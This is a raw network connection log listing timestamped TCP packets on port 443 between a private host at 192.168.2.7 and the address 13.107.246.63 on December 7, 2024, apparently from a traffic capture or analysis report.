Dec 7, 2024 17:36:54.369915962 CET	50021	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:54.369956970 CET	50021	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:54.370558023 CET	50021	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:54.370577097 CET	443	50021	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:54.370588064 CET	50021	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:54.370594025 CET	443	50021	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:54.376969099 CET	50026	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:54.377003908 CET	443	50026	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:54.377065897 CET	50026	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:54.377192020 CET	50026	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:54.377203941 CET	443	50026	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:54.778515100 CET	443	50022	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:54.781744003 CET	443	50022	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:54.781804085 CET	50022	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:54.781872988 CET	50022	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:54.781888008 CET	443	50022	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:54.781903028 CET	50022	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:54.781908035 CET	443	50022	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:54.784775972 CET	50027	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:54.784823895 CET	443	50027	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:54.784898996 CET	50027	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:54.785046101 CET	50027	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:54.785060883 CET	443	50027	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:55.447808027 CET	443	50023	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:55.448261976 CET	50023	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:55.448290110 CET	443	50023	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:55.448952913 CET	50023	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:55.448959112 CET	443	50023	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:55.766256094 CET	443	50024	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:55.766777992 CET	50024	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:55.766791105 CET	443	50024	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:55.767148972 CET	50024	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:55.767153025 CET	443	50024	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:56.014286995 CET	443	50023	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:56.017539978 CET	443	50023	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:56.017611027 CET	50023	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:56.017654896 CET	50023	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:56.017654896 CET	50023	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:56.017673016 CET	443	50023	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:56.017683029 CET	443	50023	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:56.020451069 CET	50028	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:56.020482063 CET	443	50028	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:56.020539999 CET	50028	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:56.020698071 CET	50028	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:56.020708084 CET	443	50028	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:56.087142944 CET	443	50025	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:56.087500095 CET	50025	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:56.087521076 CET	443	50025	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:56.087922096 CET	50025	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:56.087927103 CET	443	50025	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:56.176357985 CET	443	50026	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:56.176808119 CET	50026	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:56.176826954 CET	443	50026	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:56.177191019 CET	50026	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:56.177196026 CET	443	50026	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:56.202730894 CET	443	50024	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:56.205874920 CET	443	50024	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:56.205933094 CET	50024	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:56.205970049 CET	50024	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:56.205974102 CET	443	50024	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:56.205982924 CET	50024	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:56.205986023 CET	443	50024	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:56.208204031 CET	50029	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:56.208240032 CET	443	50029	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:56.208309889 CET	50029	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:56.208421946 CET	50029	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:56.208437920 CET	443	50029	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:56.512100935 CET	443	50027	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:56.512610912 CET	50027	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:56.512625933 CET	443	50027	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:56.512950897 CET	50027	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:56.512954950 CET	443	50027	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:56.527296066 CET	443	50025	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:56.530379057 CET	443	50025	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:56.530422926 CET	443	50025	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:56.530436993 CET	50025	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:56.530487061 CET	50025	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:56.530527115 CET	50025	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:56.530543089 CET	443	50025	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:56.530555010 CET	50025	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:56.530560970 CET	443	50025	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:56.532846928 CET	50030	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:56.532871962 CET	443	50030	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:56.532939911 CET	50030	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:56.533056021 CET	50030	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:56.533067942 CET	443	50030	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:56.612855911 CET	443	50026	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:56.615901947 CET	443	50026	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:56.615964890 CET	50026	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:56.615992069 CET	50026	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:56.616002083 CET	443	50026	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:56.616012096 CET	50026	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:56.616017103 CET	443	50026	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:56.619097948 CET	50031	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:56.619134903 CET	443	50031	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:56.619240046 CET	50031	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:56.619524002 CET	50031	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:56.619537115 CET	443	50031	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:56.945698023 CET	443	50027	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:56.949662924 CET	443	50027	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:56.949733973 CET	443	50027	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:56.949848890 CET	50027	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:56.949848890 CET	50027	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:56.949848890 CET	50027	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:56.950253010 CET	50027	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:56.950269938 CET	443	50027	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:56.952451944 CET	50032	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:56.952478886 CET	443	50032	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:56.952562094 CET	50032	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:56.952712059 CET	50032	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:56.952724934 CET	443	50032	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:57.742057085 CET	443	50028	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:57.742594957 CET	50028	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:57.742603064 CET	443	50028	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:57.743119955 CET	50028	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:57.743124008 CET	443	50028	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:57.926695108 CET	443	50029	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:57.927479982 CET	50029	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:57.927496910 CET	443	50029	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:57.928004980 CET	50029	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:57.928009987 CET	443	50029	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:58.177438021 CET	443	50028	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:58.180484056 CET	443	50028	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:58.180556059 CET	50028	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:58.180598974 CET	50028	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:58.180604935 CET	443	50028	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:58.180617094 CET	50028	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:58.180619955 CET	443	50028	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:58.183511972 CET	50033	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:58.183533907 CET	443	50033	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:58.183605909 CET	50033	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:58.183743954 CET	50033	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:58.183751106 CET	443	50033	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:58.253716946 CET	443	50030	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:58.254291058 CET	50030	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:58.254306078 CET	443	50030	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:58.254797935 CET	50030	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:58.254802942 CET	443	50030	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:58.353370905 CET	443	50031	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:58.363084078 CET	443	50029	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:58.364089966 CET	50031	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:58.364120007 CET	443	50031	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:58.364602089 CET	50031	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:58.364608049 CET	443	50031	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:58.367348909 CET	443	50029	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:58.367376089 CET	443	50029	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:58.367400885 CET	50029	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:58.367436886 CET	50029	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:58.367469072 CET	50029	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:58.367484093 CET	443	50029	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:58.367497921 CET	50029	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:58.367503881 CET	443	50029	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:58.370559931 CET	50034	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:58.370603085 CET	443	50034	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:58.370693922 CET	50034	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:58.370807886 CET	50034	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:58.370831966 CET	443	50034	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:58.692289114 CET	443	50032	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:58.692982912 CET	50032	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:58.692997932 CET	443	50032	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:58.693497896 CET	50032	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:58.693501949 CET	443	50032	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:58.812869072 CET	443	50030	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:58.813435078 CET	443	50031	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:58.813483000 CET	443	50031	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:58.813566923 CET	443	50030	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:58.813637972 CET	50030	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:58.813640118 CET	50031	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:58.813703060 CET	50030	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:58.813714981 CET	443	50030	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:58.813719034 CET	50031	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:58.813724995 CET	50030	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:58.813729048 CET	443	50030	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:58.813735008 CET	443	50031	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:58.813746929 CET	50031	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:58.813752890 CET	443	50031	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:58.817162991 CET	50036	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:58.817167044 CET	50035	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:58.817173958 CET	443	50036	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:58.817192078 CET	443	50035	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:58.817246914 CET	50036	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:58.817276955 CET	50035	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:58.817418098 CET	50035	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:58.817430973 CET	443	50035	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:58.817430973 CET	50036	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:58.817444086 CET	443	50036	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:59.126708031 CET	443	50032	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:59.126796007 CET	443	50032	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:59.126888990 CET	50032	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:59.127214909 CET	50032	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:59.127214909 CET	50032	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:59.127233028 CET	443	50032	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:59.127249956 CET	443	50032	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:59.130836010 CET	50037	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:59.130856037 CET	443	50037	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:59.130934000 CET	50037	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:59.131071091 CET	50037	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:59.131083965 CET	443	50037	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:59.973171949 CET	443	50033	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:59.973953962 CET	50033	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:59.973965883 CET	443	50033	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:59.974514961 CET	50033	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:59.974519968 CET	443	50033	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:00.102204084 CET	443	50034	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:00.102797031 CET	50034	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:00.102823019 CET	443	50034	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:00.103319883 CET	50034	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:00.103326082 CET	443	50034	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:00.407301903 CET	443	50033	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:00.413755894 CET	443	50033	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:00.413793087 CET	443	50033	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:00.413819075 CET	50033	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:00.413902044 CET	50033	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:00.413937092 CET	50033	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:00.413944006 CET	443	50033	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:00.413957119 CET	50033	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:00.413960934 CET	443	50033	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:00.417093992 CET	50038	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:00.417126894 CET	443	50038	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:00.417203903 CET	50038	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:00.417352915 CET	50038	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:00.417368889 CET	443	50038	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:00.536077023 CET	443	50034	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:00.537503958 CET	443	50036	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:00.538054943 CET	50036	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:00.538064003 CET	443	50036	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:00.538122892 CET	443	50035	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:00.538533926 CET	50036	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:00.538538933 CET	443	50036	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:00.538829088 CET	50035	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:00.538845062 CET	443	50035	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:00.539269924 CET	50035	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:00.539273977 CET	443	50035	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:00.551453114 CET	443	50034	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:00.551521063 CET	50034	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:00.551565886 CET	50034	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:00.551582098 CET	443	50034	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:00.551765919 CET	50034	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:00.551774025 CET	443	50034	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:00.554368973 CET	50039	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:00.554389954 CET	443	50039	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:00.554598093 CET	50039	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:00.554759979 CET	50039	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:00.554769039 CET	443	50039	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:00.848005056 CET	443	50037	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:00.848603010 CET	50037	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:00.848618031 CET	443	50037	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:00.849092960 CET	50037	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:00.849097013 CET	443	50037	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:00.971616030 CET	443	50036	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:00.973264933 CET	443	50035	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:00.975066900 CET	443	50036	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:00.975140095 CET	50036	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:00.975191116 CET	50036	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:00.975215912 CET	443	50036	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:00.975228071 CET	50036	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:00.975234032 CET	443	50036	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:00.976267099 CET	443	50035	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:00.976336002 CET	50035	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:00.976383924 CET	50035	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:00.976392984 CET	443	50035	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:00.976402044 CET	50035	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:00.976406097 CET	443	50035	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:00.978681087 CET	50040	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:00.978698969 CET	443	50040	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:00.978746891 CET	50041	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:00.978763103 CET	443	50041	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:00.978789091 CET	50040	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:00.978810072 CET	50041	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:00.978923082 CET	50040	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:00.978933096 CET	443	50040	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:00.978986979 CET	50041	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:00.978997946 CET	443	50041	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:01.288625956 CET	443	50037	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:01.292480946 CET	443	50037	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:01.292543888 CET	50037	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:01.292618036 CET	50037	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:01.292632103 CET	443	50037	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:01.292640924 CET	50037	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:01.292645931 CET	443	50037	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:01.294936895 CET	50042	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:01.294951916 CET	443	50042	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:01.295027018 CET	50042	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:01.295154095 CET	50042	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:01.295167923 CET	443	50042	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:02.132538080 CET	443	50038	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:02.138153076 CET	50038	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:02.138170958 CET	443	50038	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:02.138746977 CET	50038	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:02.138753891 CET	443	50038	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:02.276859045 CET	443	50039	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:02.277252913 CET	50039	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:02.277272940 CET	443	50039	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:02.277647018 CET	50039	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:02.277651072 CET	443	50039	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:02.568201065 CET	443	50038	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:02.571237087 CET	443	50038	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:02.571305990 CET	50038	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:02.571341038 CET	50038	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:02.571361065 CET	443	50038	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:02.571371078 CET	50038	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:02.571377039 CET	443	50038	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:02.573620081 CET	50043	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:02.573657990 CET	443	50043	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:02.573734999 CET	50043	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:02.573878050 CET	50043	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:02.573889971 CET	443	50043	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:02.699145079 CET	443	50040	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:02.699610949 CET	50040	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:02.699625969 CET	443	50040	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:02.699915886 CET	50040	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:02.699920893 CET	443	50040	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:02.706262112 CET	443	50041	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:02.706558943 CET	50041	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:02.706576109 CET	443	50041	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:02.706955910 CET	50041	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:02.706962109 CET	443	50041	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:02.719348907 CET	443	50039	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:02.722209930 CET	443	50039	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:02.722270012 CET	50039	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:02.722435951 CET	50039	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:02.722435951 CET	50039	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:02.722451925 CET	443	50039	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:02.722460985 CET	443	50039	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:02.724318981 CET	50044	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:02.724353075 CET	443	50044	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:02.724427938 CET	50044	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:02.724560976 CET	50044	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:02.724572897 CET	443	50044	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:03.039189100 CET	443	50042	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:03.039638042 CET	50042	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:03.039655924 CET	443	50042	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:03.040086031 CET	50042	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:03.040090084 CET	443	50042	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:03.133791924 CET	443	50040	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:03.133923054 CET	443	50040	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:03.133976936 CET	50040	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:03.134147882 CET	50040	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:03.134159088 CET	443	50040	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:03.134207010 CET	50040	443	192.168.2.7	13.107.246.63
